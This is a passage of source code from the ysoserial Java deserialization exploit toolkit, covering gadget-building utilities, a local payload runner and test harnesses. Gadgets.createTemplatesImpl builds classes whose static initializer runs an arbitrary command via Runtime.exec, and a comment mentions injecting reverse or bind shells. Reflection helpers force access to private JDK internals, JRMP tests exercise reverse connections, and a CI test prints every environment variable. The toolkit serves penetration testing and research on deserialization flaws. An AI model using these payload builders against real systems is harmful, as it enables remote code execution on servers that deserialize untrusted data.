simple[i] = deps[i].split(":", 2)[1]; } return simple; } } } ================================================ FILE: src/main/java/ysoserial/payloads/annotation/PayloadTest.java ================================================ package ysoserial.payloads.annotation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; /** * @author mbechler * */ @Retention(RetentionPolicy.RUNTIME) public @interface PayloadTest { String skip() default ""; String precondition() default ""; String harness() default ""; String flaky() default ""; } ================================================ FILE: src/main/java/ysoserial/payloads/util/ClassFiles.java ================================================ package ysoserial.payloads.util; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; public class ClassFiles { public static String classAsFile(final Class clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } ================================================ FILE: src/main/java/ysoserial/payloads/util/Gadgets.java ================================================ package ysoserial.payloads.util; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; import com.nqzero.permit.Permit; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; /* * utility generator functions for common jdk-only gadgets */ @SuppressWarnings ( { "restriction", "rawtypes", "unchecked" } ) public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); // for RMI remote loading System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } public static Map createMap ( final String key, final Object val ) { final Map map = new HashMap(); map.put(key, val); return map; } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; } } ================================================ FILE: src/main/java/ysoserial/payloads/util/JavaVersion.java ================================================ package ysoserial.payloads.util; /** * @author mbechler * */ public class JavaVersion { public int major; public int minor; public int update; public static JavaVersion getLocalVersion() { String property = System.getProperties().getProperty("java.version"); if ( property == null ) { return null; } JavaVersion v = new JavaVersion(); String parts[] = property.split("\\.|_|-"); int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix v.major = Integer.parseInt(parts[start + 0]); v.minor = Integer.parseInt(parts[start + 1]); v.update = Integer.parseInt(parts[start + 2]); return v; } public static boolean isAnnInvHUniversalMethodImpl() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); } public static boolean isBadAttrValExcReadObj() { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major > 8 && v.update >= 76); } public static boolean isAtLeast(int major) { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && v.major >= major; } } ================================================ FILE: src/main/java/ysoserial/payloads/util/PayloadRunner.java ================================================ package ysoserial.payloads.util; import java.util.concurrent.Callable; import ysoserial.Deserializer; import ysoserial.Serializer; import static ysoserial.Deserializer.deserialize; import static ysoserial.Serializer.serialize; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.secmgr.ExecCheckingSecurityManager; /* * utility class for running exploits locally from command line */ @SuppressWarnings("unused") public class PayloadRunner { public static void run(final Class> clazz, final String[] args) throws Exception { // ensure payload generation doesn't throw an exception byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable(){ public byte[] call() throws Exception { final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); System.out.println("generating payload object(s) for command: '" + command + "'"); ObjectPayload payload = clazz.newInstance(); final Object objBefore = payload.getObject(command); System.out.println("serializing payload"); byte[] ser = Serializer.serialize(objBefore); Utils.releasePayload(payload, objBefore); return ser; }}); try { System.out.println("deserializing payload"); final Object objAfter = Deserializer.deserialize(serialized); } catch (Exception e) { e.printStackTrace(); } } private static String getDefaultTestCmd() { return getFirstExistingFile( "C:\\Windows\\System32\\calc.exe", "/Applications/Calculator.app/Contents/MacOS/Calculator", "/usr/bin/gnome-calculator", "/usr/bin/kcalc" ); } private static String getFirstExistingFile(String ... files) { return "calc.exe"; // for (String path : files) { // if (new File(path).exists()) { // return path; // } // } // throw new UnsupportedOperationException("no known test executable"); } } ================================================ FILE: src/main/java/ysoserial/payloads/util/Reflections.java ================================================ package ysoserial.payloads.util; import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import sun.reflect.ReflectionFactory; import com.nqzero.permit.Permit; @SuppressWarnings ( "restriction" ) public class Reflections { public static void setAccessible(AccessibleObject member) { String versionStr = System.getProperty("java.version"); int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); if (javaVersion < 12) { // quiet runtime warnings from JDK9+ Permit.setAccessible(member); } else { // not possible to quiet runtime warnings anymore... // see https://bugs.openjdk.java.net/browse/JDK-8210522 // to understand impact on Permit (i.e. it does not work // anymore with Java >= 12) member.setAccessible(true); } } public static Field getField(final Class clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); return ctor; } public static Object newInstance(String className, Object ... args) throws Exception { return getFirstCtor(className).newInstance(args); } public static T createWithoutConstructor ( Class classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } @SuppressWarnings ( {"unchecked"} ) public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); } } ================================================ FILE: src/main/java/ysoserial/secmgr/DelegateSecurityManager.java ================================================ package ysoserial.secmgr; import java.io.FileDescriptor; import java.net.InetAddress; import java.security.Permission; @SuppressWarnings({"deprecation"}) public class DelegateSecurityManager extends SecurityManager { private SecurityManager securityManager; public SecurityManager getSecurityManager() { return securityManager; } public void setSecurityManager(SecurityManager securityManager) { this.securityManager = securityManager; } //BEGIN fixes for JDK10+ compatibility @SuppressWarnings({"deprecation"}) //@Override public boolean getInCheck() { //return getSecurityManager().getInCheck(); return false; } @SuppressWarnings({"deprecation"}) //@Override public boolean checkTopLevelWindow(Object window) { //return getSecurityManager().checkTopLevelWindow(window); return true; } @SuppressWarnings({"deprecation"}) //@Override public void checkSystemClipboardAccess() { //getSecurityManager().checkSystemClipboardAccess(); } @SuppressWarnings({"deprecation"}) //@Override public void checkAwtEventQueueAccess() { //getSecurityManager().checkAwtEventQueueAccess(); } @SuppressWarnings({"deprecation"}) //@Override public void checkMemberAccess(Class clazz, int which) { //getSecurityManager().checkMemberAccess(clazz, which); } //END fixes for JDK10+ compatibility @Override public Object getSecurityContext() { return getSecurityManager().getSecurityContext(); } @Override public void checkPermission(Permission perm) { getSecurityManager().checkPermission(perm); } @Override public void checkPermission(Permission perm, Object context) { getSecurityManager().checkPermission(perm, context); } @Override public void checkCreateClassLoader() { getSecurityManager().checkCreateClassLoader(); } @Override public void checkAccess(Thread t) { getSecurityManager().checkAccess(t); } @Override public void checkAccess(ThreadGroup g) { getSecurityManager().checkAccess(g); } @Override public void checkExit(int status) { getSecurityManager().checkExit(status); } @Override public void checkExec(String cmd) { getSecurityManager().checkExec(cmd); } @Override public void checkLink(String lib) { getSecurityManager().checkLink(lib); } @Override public void checkRead(FileDescriptor fd) { getSecurityManager().checkRead(fd); } @Override public void checkRead(String file) { getSecurityManager().checkRead(file); } @Override public void checkRead(String file, Object context) { getSecurityManager().checkRead(file, context); } @Override public void checkWrite(FileDescriptor fd) { getSecurityManager().checkWrite(fd); } @Override public void checkWrite(String file) { getSecurityManager().checkWrite(file); } @Override public void checkDelete(String file) { getSecurityManager().checkDelete(file); } @Override public void checkConnect(String host, int port) { getSecurityManager().checkConnect(host, port); } @Override public void checkConnect(String host, int port, Object context) { getSecurityManager().checkConnect(host, port, context); } @Override public void checkListen(int port) { getSecurityManager().checkListen(port); } @Override public void checkAccept(String host, int port) { getSecurityManager().checkAccept(host, port); } @Override public void checkMulticast(InetAddress maddr) { getSecurityManager().checkMulticast(maddr); } @SuppressWarnings({"deprecation"}) @Override public void checkMulticast(InetAddress maddr, byte ttl) { getSecurityManager().checkMulticast(maddr, ttl); } @Override public void checkPropertiesAccess() { getSecurityManager().checkPropertiesAccess(); } @Override public void checkPropertyAccess(String key) { getSecurityManager().checkPropertyAccess(key); } @Override public void checkPrintJobAccess() { getSecurityManager().checkPrintJobAccess(); } @Override public void checkPackageAccess(String pkg) { getSecurityManager().checkPackageAccess(pkg); } @Override public void checkPackageDefinition(String pkg) { getSecurityManager().checkPackageDefinition(pkg); } @Override public void checkSetFactory() { getSecurityManager().checkSetFactory(); } @Override public void checkSecurityAccess(String target) { getSecurityManager().checkSecurityAccess(target); } @Override public ThreadGroup getThreadGroup() { return getSecurityManager().getThreadGroup(); } } ================================================ FILE: src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java ================================================ package ysoserial.secmgr; import java.security.Permission; import java.util.Collections; import java.util.LinkedList; import java.util.List; import java.util.concurrent.Callable; // TODO per-thread secmgr public class ExecCheckingSecurityManager extends SecurityManager { public ExecCheckingSecurityManager() { this(true); } public ExecCheckingSecurityManager(boolean throwException) { this.throwException = throwException; } private final boolean throwException; private final List cmds = new LinkedList(); public List getCmds() { return Collections.unmodifiableList(cmds); } @Override public void checkPermission(final Permission perm) { } @Override public void checkPermission(final Permission perm, final Object context) { } @Override public void checkExec(final String cmd) { super.checkExec(cmd); cmds.add(cmd); if (throwException) { // throw a special exception to ensure we can detect exec() in the test throw new ExecException(cmd); } }; @SuppressWarnings("serial") public static class ExecException extends RuntimeException { private final String threadName = Thread.currentThread().getName(); private final String cmd; public ExecException(String cmd) { this.cmd = cmd; } public String getCmd() { return cmd; } public String getThreadName() { return threadName; } @ Override public String getMessage() { return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; } } public void callWrapped(final Runnable runnable) throws Exception { callWrapped(new Callable(){ public Void call() throws Exception { runnable.run(); return null; } }); } public T callWrapped(final Callable callable) throws Exception { SecurityManager sm = System.getSecurityManager(); // save sm System.setSecurityManager(this); try { T result = callable.call(); if (throwException && ! getCmds().isEmpty()) { throw new ExecException(getCmds().get(0)); } return result; } catch (Exception e) { if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { throw new ExecException(getCmds().get(0)); } else { throw e; } } finally { System.setSecurityManager(sm); // restore sm } } } ================================================ FILE: src/test/java/ysoserial/CiTest.java ================================================ package ysoserial; import org.junit.Test; public class CiTest { @Test public void test() { System.out.println("System.getProperties(): " + System.getProperties()); System.out.println("System.getenv(): " + System.getenv()); } } ================================================ FILE: src/test/java/ysoserial/test/CustomDeserializer.java ================================================ package ysoserial.test; /** * @author mbechler * */ public interface CustomDeserializer { Class getCustomDeserializer (); } ================================================ FILE: src/test/java/ysoserial/test/CustomPayloadArgs.java ================================================ package ysoserial.test; /** * @author mbechler * */ public interface CustomPayloadArgs { String getPayloadArgs (); } ================================================ FILE: src/test/java/ysoserial/test/CustomTest.java ================================================ package ysoserial.test; import java.util.concurrent.Callable; /** * @author mbechler * */ public interface CustomTest extends CustomPayloadArgs { void run (Callable payload) throws Exception; } ================================================ FILE: src/test/java/ysoserial/test/WrappedTest.java ================================================ package ysoserial.test; import java.util.concurrent.Callable; /** * @author mbechler * */ public interface WrappedTest extends CustomPayloadArgs { Callable createCallable ( Callable innerCallable ); } ================================================ FILE: src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java ================================================ package ysoserial.test.exploit; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIRegistryExploitTest { public static void createRegistry(int port) throws RemoteException { Registry registry = LocateRegistry.createRegistry(port); } public static void main(String[] args) throws RemoteException, InterruptedException { String portStr = args.length > 0 && args[0] != null ? args[0] : "1099"; int port = Integer.parseInt(portStr); createRegistry(port); while (true) Thread.sleep(1000); } } ================================================ FILE: src/test/java/ysoserial/test/payloads/CommandExecTest.java ================================================ package ysoserial.test.payloads; import org.junit.Assert; import ysoserial.test.CustomTest; import ysoserial.test.util.Files; import ysoserial.test.util.OS; import java.io.File; import java.util.UUID; import java.util.concurrent.Callable; public class CommandExecTest implements CustomTest { private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); @Override public void run(Callable payload) throws Exception { Assert.assertFalse("test file should not exist", testFile.exists()); try { payload.call(); } catch (Exception e) { e.printStackTrace(); } Files.waitForFile(testFile, 5000); Assert.assertTrue("test file should exist", testFile.exists()); testFile.deleteOnExit(); } @Override public String getPayloadArgs() { switch (OS.get()) { case OSX: case LINUX: return "touch " + testFile; case WINDOWS: return "powershell -command new-item -type file " + testFile; default: throw new UnsupportedOperationException("unsupported os"); } } } ================================================ FILE: src/test/java/ysoserial/test/payloads/FileUploadTest.java ================================================ package ysoserial.test.payloads; import java.io.File; import java.io.IOException; import java.util.Arrays; import java.util.concurrent.Callable; import org.junit.Assert; import com.google.common.io.Files; import ysoserial.test.CustomTest; import ysoserial.test.util.OS; /** * @author mbechler * */ public class FileUploadTest implements CustomTest { /** * */ private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF }; private File source; private File repo; /** * */ public FileUploadTest () { try { source = File.createTempFile("fut", "-source"); repo = Files.createTempDir(); } catch ( IOException e ) { e.printStackTrace(); } } public synchronized void run ( Callable payload ) throws Exception { try { Files.write(FDATA, this.source); Assert.assertTrue(this.source.exists()); payload.call(); File found = null; for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing for (File f : this.repo.listFiles()) { found = f; break; } Thread.sleep(100); } Assert.assertNotNull("File not copied", found); if (OS.get() != OS.WINDOWS) { // windows' file locking seems to cause this to fail Assert.assertFalse("Source not deleted", this.source.exists()); } Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found))); } finally { if ( this.repo.exists()) { for ( File f : this.repo.listFiles()) { safeDeleteOnExit(f); } safeDeleteOnExit(this.repo); } safeDeleteOnExit(this.source); } } private static void safeDeleteOnExit(File f) { try { if (f.exists()) { f.deleteOnExit(); } } catch (Exception e) { e.printStackTrace(); } } public String getPayloadArgs () { return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath(); } } ================================================ FILE: src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java ================================================ package ysoserial.test.payloads; import java.net.URL; import java.util.concurrent.Callable; import ysoserial.test.WrappedTest; import ysoserial.exploit.JRMPListener; /** * @author mbechler * */ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements WrappedTest { private int jrmpPort; public JRMPReverseConnectSMTest (String command) { super(command); // some payloads cannot specify the port jrmpPort = 1099; } /** * {@inheritDoc} * * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable) */ @Override public Callable createCallable ( final Callable innerCallable ) { return super.createCallable(new Callable() { public Object call () throws Exception { JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/")); Thread t = new Thread(l, "JRMP listener"); try { t.start(); Object res = innerCallable.call(); l.waitFor(1000); return res; } finally { l.close(); t.interrupt(); t.join(); } } }); } @Override public String getPayloadArgs () { return "localhost:" + jrmpPort; } } ================================================ FILE: src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java ================================================ package ysoserial.test.payloads; import java.util.concurrent.Callable; import javax.management.BadAttributeValueExpException; import org.junit.Assert; import ysoserial.test.CustomTest; import ysoserial.exploit.JRMPListener; /** * @author mbechler * */ public class JRMPReverseConnectTest implements CustomTest { private int port; /** * */ public JRMPReverseConnectTest () { // some payloads cannot specify the port port = 1099; } public void run ( Callable payload ) throws Exception { JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); Thread t = new Thread(l, "JRMP listener"); try { t.start(); try { payload.call(); } catch ( Exception e ) { // ignore } Assert.assertTrue("Did not have connection", l.waitFor(1000)); } finally { l.close(); t.interrupt(); t.join(); } } public String getPayloadArgs () { return "rmi:localhost:" + port; } } ================================================ FILE: src/test/java/ysoserial/test/payloads/MyfacesTest.java ================================================ package ysoserial.test.payloads; import java.beans.FeatureDescriptor; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.el.BeanELResolver; import javax.el.ELContext; import javax.el.ELResolver; import javax.el.MapELResolver; import javax.faces.context.FacesContext; import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import org.apache.myfaces.el.CompositeELResolver; import org.apache.myfaces.el.unified.FacesELContext; import org.mockito.Matchers; import org.mockito.Mockito; import org.mockito.invocation.InvocationOnMock; import org.mockito.stubbing.Answer; import ysoserial.payloads.util.Reflections; import ysoserial.test.CustomDeserializer; import ysoserial.Deserializer; /** * @author mbechler * */ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { public MyfacesTest ( String command ) { super(command); } public Class getCustomDeserializer () { return MyfacesDeserializer.class; } /** * need to use a custom deserializer so that the faces context gets set in the isolated class * * @author mbechler * */ public static final class MyfacesDeserializer extends Deserializer { public static Class[] getExtraDependencies () { return new Class[] { MockRequestContext.class, MockELResolver.class }; } private static class MockRequestContext implements Answer { private Map attributes = new HashMap(); public Object answer ( InvocationOnMock invocation ) throws Throwable { if ( "setAttribute".equals(invocation.getMethod().getName()) ) { this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class)); return null; } else if ( "getAttribute".equals(invocation.getMethod().getName()) ) { return this.attributes.get(invocation.getArgumentAt(0, String.class)); } return null; } } private static class MockELResolver extends ELResolver { private ServletRequest request; public MockELResolver (ServletRequest req) { this.request = req; } @Override public Object getValue ( ELContext context, Object base, Object property ) { if ( base == null && "request".equals(property)) { context.setPropertyResolved(true); return this.request; } return null; } @Override public Class getType ( ELContext context, Object base, Object property ) { if ( base == null && "request".equals(property)) { context.setPropertyResolved(true); return ServletRequest.class; } return null; } @Override public void setValue ( ELContext context, Object base, Object property, Object value ) { } @Override public boolean isReadOnly ( ELContext context, Object base, Object property ) { return true; } @Override public Iterator getFeatureDescriptors ( ELContext context, Object base ) { return null; } @Override public Class getCommonPropertyType ( ELContext context, Object base ) { return null; } } public MyfacesDeserializer ( byte[] bytes ) { super(bytes); } @Override public Object call () throws Exception { java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); Reflections.setAccessible(setFC); ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); FacesContext ctx = createMockFacesContext(); try { setFC.invoke(null, ctx); return super.call(); } finally { setFC.invoke(null, (FacesContext) null); Thread.currentThread().setContextClassLoader(oldTCCL); } } private static FacesContext createMockFacesContext () throws MalformedURLException { FacesContext ctx = Mockito.mock(FacesContext.class); CompositeELResolver cer = new CompositeELResolver(); FacesELContext elc = new FacesELContext(cer, ctx); ServletRequest requestMock = Mockito.mock(ServletRequest.class); ServletContext contextMock = Mockito.mock(ServletContext.class); URL url = new URL("file:///"); Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url); Mockito.when(requestMock.getServletContext()).thenReturn(contextMock); Answer attrContext = new MockRequestContext(); Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext); Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any()); cer.add(new MockELResolver(requestMock)); cer.add(new BeanELResolver()); cer.add(new MapELResolver()); Mockito.when(ctx.getELContext()).thenReturn(elc); return ctx; } } } ================================================ FILE: src/test/java/ysoserial/test/payloads/PayloadsTest.java ================================================ package ysoserial.test.payloads; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.OutputStream; import java.io.PrintStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.Set; import java.util.concurrent.Callable; import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.junit.Assume; import org.junit.Test; import org.junit.runner.Description; import org.junit.runner.JUnitCore; import org.junit.runner.Result; import org.junit.runner.RunWith; import org.junit.runner.notification.Failure; import org.junit.runner.notification.RunListener; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; import ysoserial.*; import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.ObjectPayload; import ysoserial.test.CustomTest; import ysoserial.test.CustomDeserializer; import ysoserial.test.CustomPayloadArgs; import ysoserial.test.WrappedTest; import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.ClassFiles; /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests * the harness for trivial pass and failure cases TODO: figure out better way to test exception behavior than comparing messages */ @SuppressWarnings ( { "rawtypes", "unused", "unchecked" } ) @RunWith ( Parameterized.class ) public class PayloadsTest { @Parameters ( name = "payloadClass: {0}" ) public static Class>[] payloads () { Set> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class)); return payloadClasses.toArray(new Class[0]); } private final Class> payloadClass; public PayloadsTest ( Class> payloadClass ) { this.payloadClass = payloadClass; } @Test public void testPayload () throws Exception { testPayload(payloadClass, new Class[0]); } public static void testPayload ( final Class> payloadClass, final Class[] addlClassesForClassLoader ) throws Exception { System.out.println("Testing payload: " + payloadClass.getName()); String command = "hostname"; PayloadTest t = payloadClass.getAnnotation(PayloadTest.class); int tries = 1; if ( t != null ) { if (System.getProperty("forceTests") == null) { if ( !t.skip().isEmpty() ) { Assume.assumeTrue(t.skip(), false); } if ( !t.precondition().isEmpty() ) { Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition())); } } if (! t.flaky().isEmpty()) { tries = 5; } } String[] deps = buildDeps(payloadClass); String payloadCommand = command; Class customDeserializer = null; Object testHarness = null; if ( t != null && !t.harness().isEmpty() ) { Class testHarnessClass = Class.forName(t.harness()); try { testHarness = testHarnessClass.getConstructor(String.class).newInstance(command); } catch ( NoSuchMethodException e ) { testHarness = testHarnessClass.newInstance(); } } else { testHarness = new CommandExecTest(); // default } if ( testHarness instanceof CustomPayloadArgs) { payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs(); } if ( testHarness instanceof CustomDeserializer) { customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer(); } // TODO per-thread secmgr to enforce no detonation during deserialization final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call(); Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); if ( testHarness instanceof WrappedTest) { callable = ( (WrappedTest) testHarness ).createCallable(callable); } if (testHarness instanceof CustomTest) { // if marked as flaky try up to 5 times Exception ex = new Exception(); for (int i = 0; i < tries; i++) { try { ((CustomTest) testHarness).run(callable); ex = null; break; } catch (Exception e) { ex = e; } } if (ex != null) throw ex; } } private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { return new Callable() { public byte[] call () throws Exception { ObjectPayload payload = payloadClass.newInstance(); final Object f = payload.getObject(command); byte[] serialized = Serializer.serialize(f); ObjectPayload.Utils.releasePayload(payload, f); return serialized; } }; } private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, final byte[] serialized, final Class customDeserializer ) { return new Callable() { public Object call () throws Exception { return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer); } }; } private static boolean checkPrecondition ( Class> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { Method precondMethod = pc.getMethod(precondition); return (Boolean) precondMethod.invoke(null); } private static String[] buildDeps ( final Class> payloadClass ) throws Exception { String[] baseDeps; if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) { Method method = payloadClass.getMethod("getDependencies"); baseDeps = (String[]) method.invoke(null); } else { baseDeps = Dependencies.Utils.getDependencies(payloadClass); } if ( System.getProperty("properXalan") != null ) { baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1); baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2"; } return baseDeps; } static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies, final Class customDeserializer ) throws Exception { File[] jars = dependencies.length > 0 ? 